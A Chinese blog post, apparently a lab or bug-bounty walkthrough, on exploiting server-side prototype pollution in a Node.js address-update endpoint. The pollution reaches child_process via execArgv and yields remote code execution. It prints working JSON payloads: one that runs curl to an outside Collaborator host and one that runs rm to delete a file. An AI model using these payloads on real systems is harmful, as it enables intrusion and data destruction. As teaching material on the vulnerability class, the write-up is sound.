赏金实战|从修改地址到远程代码执行,服务端原型链污染的威力有多可怕?"

admin 2026-10-20 23:45:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

赏金实战|从修改地址到远程代码执行,服务端原型链污染的威力有多可怕?

原创

升斗安全XiuXiu
升斗安全XiuXiu

升斗安全

2026年5月25日 08:08
广东

在小说阅读器读本章

去阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

今天聊个特别有意思的案例,从一个不起眼的地址修改功能,一路摸到服务器权限。全程没有花里胡哨的骚操作,就是顺着逻辑往下挖,你会发现有时候漏洞就在眼皮底下,只是我们习惯性忽略了那些“不太对劲”的地方。

今天分享的这个案例,就是一种“串线”的典型。目标站点看起来很普通,有个地址修改功能,还有个管理员才能用的系统维护面板。单独看每个功能都没啥问题,但把两个凑一块,事情就变得有意思了。

第一步:把目标盯上那个不起眼的地址修改

登录之后,我习惯性地去账户页面转了一圈,随手改了个收货地址,然后立刻切到 Burp 的 HTTP 历史里翻看。

找到了,POST /my-account/change-address 这个请求。

一眼扫过去我就来精神了,前端提交的表单数据,被原封不动地包装成 JSON 发往了服务端。更有意思的是,服务端返回的响应也是一个 JSON 对象,里面包含着更新后的用户完整信息。这说明什么?说明服务器拿到我提交的数据后,大概率直接拿去拼装对象了,连个过滤都懒得做。

看到这种“来者不拒”的 JSON 合并操作,脑子里就应该条件反射地蹦出四个字:原型污染。

第二步:手贱加个 \\_proto\\_ 试试水

二话不说,把请求扔进 Repeater,开始在 JSON 里动手脚。我在请求体里塞了这么一个玩意儿:

\"__proto__\": {    \"json spaces\": 10}

点击发送,然后盯着响应面板的“原始”视图。

如果你做过前端开发,肯定知道 JSON.stringify 有个 space 参数,用来控制缩进空格数。正常情况下,服务器返回的 JSON 缩进是固定的。但你看,这响应的缩进明显变大了,每个层级都多了好几格空格。

就这一个细节,我心里基本有底了,原型污染成功。我注入的那个 json spaces 属性,已经悄咪咪地挂到了全局 Object.prototype 上,后续服务器在做 JSON 序列化的时候,全都被我“带歪”了节奏。

第三步:从污染到执行,还差一个“帮手”

单靠原型污染本身,大多数情况下只能搞点信息泄露或者逻辑绕过,想直接拿到命令执行,你得再往前想一步。

我开始在站点里瞎逛,翻到了管理面板。这里有个按钮,写着“运行维护任务”。点一下试试,页面提示正在清理数据库和文件系统,过了几秒返回结果。

这个行为太典型了,后台几乎百分百是调用了 Node.js 的 child\_process 模块去开子进程干这些脏活累活。而子进程在启动的时候,恰恰会读取 execArgv 这个属性来拼接命令行参数。

这不就串起来了吗?我能污染原型,而这个被污染的属性又会被子进程老老实实地读走。

思路通了的瞬间,payload 的骨架就出来了:

\"__proto__\": {    \"execArgv\": [        \"--eval=require('child_process').execSync('curl https://你的COLLABORATOR地址.oastify.com')\"    ]}

我把这个请求发出去,回到浏览器再次点击“运行维护任务”。这次页面报了错,两个任务都执行失败了。但别慌,任务失败不重要,重要的是我的 --eval 参数有没有被带进去。

切到 Burp 的 Collaborator 选项卡,点击轮询。几秒钟后,DNS 和 HTTP 交互记录齐刷刷地弹了出来。

那一刻,我知道远程代码执行到手了。

第四步:收网,让靶标落地

验证了命令能跑,剩下的就简单了。回到 Repeater,把 curl 命令替换成删除目标文件的指令:

\"__proto__\": {    \"execArgv\": [        \"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')\"    ]}

发请求,再回管理面板点一次维护任务。服务器就会执行我们注入的远程代码,并将 /home/carlos/morale.txt 文件删除了。

回顾整个攻击链,你会发现每一步都走得特别自然:看到一个会反射用户数据的 JSON 接口,试试原型污染;发现站点用了 JSON.stringify 而且对缩进敏感,确认污染生效;翻到后台能触发子进程的功能,马上联想到用 execArgv 去搭桥。整个过程中,没有一步是硬拗出来的,全是顺着应用本身的逻辑往下走。

如果今天这篇分享让你对原型污染的利用有了新思路,动动手指点个赞,让我知道你喜欢这样的实战拆解。关注本号,后续我还会继续聊更多挖洞中的骚操作和踩坑经验。觉得有用的话,欢迎转发给身边一起挖洞的兄弟,也别忘了点个在看,让更多人看到这条通往 RCE 的非主流路子。

咱们下期见。


赏金实战|从修改地址到远程代码执行,服务端原型链污染的威力有多可怕?" 网络安全文章

赏金实战|从修改地址到远程代码执行,服务端原型链污染的威力有多可怕?"

本文详细分析了一个通过服务端原型链污染实现远程代码执行的安全漏洞案例。攻击者从修改地址功能入手,发现JSON数据未经过滤直接合并到服务端对象,通过注入__proto__属性污染Object.prototype。结合管理面板的维护任务功能,利用被污染的execArgv属性在子进程执行时注入恶意命令,最终实现RCE并成功删除目标文件。案例展示了原型污染与业务逻辑结合的实际危害,提供了完整的攻击链分析。
微软出手干掉千万级“黑产”!底层技术细节全揭秘:黑客是如何白嫖官方签名的?" 网络安全文章

微软出手干掉千万级“黑产”!底层技术细节全揭秘:黑客是如何白嫖官方签名的?"

微软披露其OpFauxSign行动端掉FoxTempest黑产团伙的MSaaS服务,该团伙通过窃取身份信息滥用微软ArtifactSigning服务,为恶意软件提供72小时有效期的合法签名,并构建自动化签名平台。攻击链涉及SEO投毒、签名加载器投放及勒索软件分发,凸显零信任架构和基于行为检测的必要性。
净网|58公里变101公里?网警破获抢单外挂、私改计价器案15起,73人落网" 网络安全文章

净网|58公里变101公里?网警破获抢单外挂、私改计价器案15起,73人落网"

上海网警破获15起网约车抢单外挂和出租车计价器作弊案件,抓获73名涉案人员。案件包括李某某非法售卖可破解平台的自动抢单软件600余单,以及李某等人通过改装计价器虚增里程获利3万余元。犯罪嫌疑人分别因涉嫌提供侵入计算机信息系统程序工具罪和破坏计算机信息系统罪被采取刑事强制措施。警方提示此类行为严重违法,将持续严厉打击以维护出行市场秩序。
Hermes修改MSF特征轻松逃逸安全软件" 网络安全文章

Hermes修改MSF特征轻松逃逸安全软件"

本文介绍使用Hermes工具简化Metasploit载荷特征修改流程以实现安全软件逃逸,涵盖反编译、特征替换、删除冗余代码、重新打包及创建可复用技能等关键步骤,最终通过火绒杀毒和在线扫描平台测试验证了逃逸效果。
评论:0   参与:  0